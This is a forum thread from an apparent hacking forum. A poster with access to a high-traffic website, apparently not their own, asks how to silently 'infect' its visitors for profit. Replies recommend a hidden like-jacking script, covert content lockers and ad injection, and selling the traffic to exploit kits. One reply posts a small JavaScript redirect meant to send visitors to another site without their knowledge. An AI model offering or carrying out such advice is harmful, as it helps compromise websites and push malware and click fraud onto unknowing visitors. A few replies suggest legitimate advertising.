Thread: [Website with 200k unique daily visits. Need ideas](#)

Che Guevara - October 29, 2015, 11:02 am

Hello,

I have access to a website with 200k daily traffic, the 200k are unique hits. I would like to know how to monetize them? I am most likely trying to find out how to use them in social media somehow? Like providing FB likes by infecting them with something etc?

Looking for some good ideas!

Delevingne - October 29, 2015, 11:04 am

Google AdSense, maybe? Else: PPD, PPI, etc? 200K is really good

Is it possible to use PPI without them knowing? Any silent method?

yea i am wondering to

.Reef - October 29, 2015, 11:10 am

No.... PPI means Pay Per Install. How can an app be installed silently? As far as I know thats not possible. Could be wrong.

As far as adsense, I don't think thats worth it.

I might have an idea on how to monetize using PPI, contact me with the niche of the site and I can probably help you.

Che Guevara - October 29, 2015, 2:15 pm

^ I will contact you soon. Still looking for some good ideas.

DataDumper - October 29, 2015, 6:22 pm

If there is a login panel, and it isnt your web, you can make a php script for logged user with normal type not visable for admins, and lock some content with adworkmedia. I was earn some cash like that, if the site is not about buy/sale there is no payment method, it wont be a gold mine.

Che Guevara - October 30, 2015, 7:30 am

^ don't think it's a good idea. I am looking for sometihng that would be silent and infect the visitors.

Silent Militant - October 30, 2015, 8:38 am

I use to load a script called "LikeJack Script"(Not sure if it works anymore) on sites. It was a script you loaded on the website, and where ever a user clicks on your site you will jack a like from the specific user and if the user is returning again and clicks again the like wont be removed. Pretty

useful if you wanna build a page up and best of all, it's hidden:D!

Pastera - October 30, 2015, 8:40 am

Put adverts up, you'll make hella bank for sure.

NewPath - October 30, 2015, 8:44 am

sell traffic for exploit kit.

Che Guevara - October 30, 2015, 9:00 am

Thanks for the ideas guys. Still looking for more. I'd like some silent scripts or stuff like that.

Sharkky - October 30, 2015, 9:54 am

Insert 2 line of codes in the index.php page : (without spaces in the script tag)

```
< script >
document.location=http://some.site.whom.you.want.to.sell.traffic.to;
document.location=http://adress.of.the.initial.website; // for the user not be aware that he visited
another website
< /script >
```

(Oct 30, 2015 08:40 AM)Pastera Wrote: [\[CITE\]](#) Put adverts up, you'll make hella bank for sure. Except advertisement companies look into this funky stuff based off historical metrics for one's account.

Additionally the visits really don't generate much revenue (maybe \$0.25/1000 unique visitors). Secondly if your script or iframe or whatever method you plan on using action is to click said advertisement the CTR% vs CPM will be unnatural and either counted as a invalid click, or just have the account banned all together.

RockBeltHostLTD - October 31, 2015, 2:13 am

Use exploit kit. You will get tons of installs.

badboy3 - October 31, 2015, 3:57 am

I would put up adsease and just let it run. Not even detectable and the owner will have no idea about it. You get good money for that amount of traffic

cruxxy - October 31, 2015, 5:59 am

Get an exploit kit man best thing you could do ;)

Zelix - October 31, 2015, 6:03 am

Instead of trying to make some quick or easy money, why don't you invest some money and time in it?

200k UNIQUE visitoris is a LOT, if you design a nice website you could make banks of it.

Here is an idea of what I would do in your case;
'A website where you can add your site, and offer ad-space for \$. People can register their website, and give information about how much adspace they offer, what the price is, how many visitors they daily get etc.

You show all those websites on your site, and people will be able to place their ads on different websites through you.

You'll ask a small percentage % of the price, and there you go.

You can call it something like Easy-AD or Easy advertising, this is just an idea I came up with. '

Make a site like that, use ads on your website too, advertise it, and you'll probably make banks lol
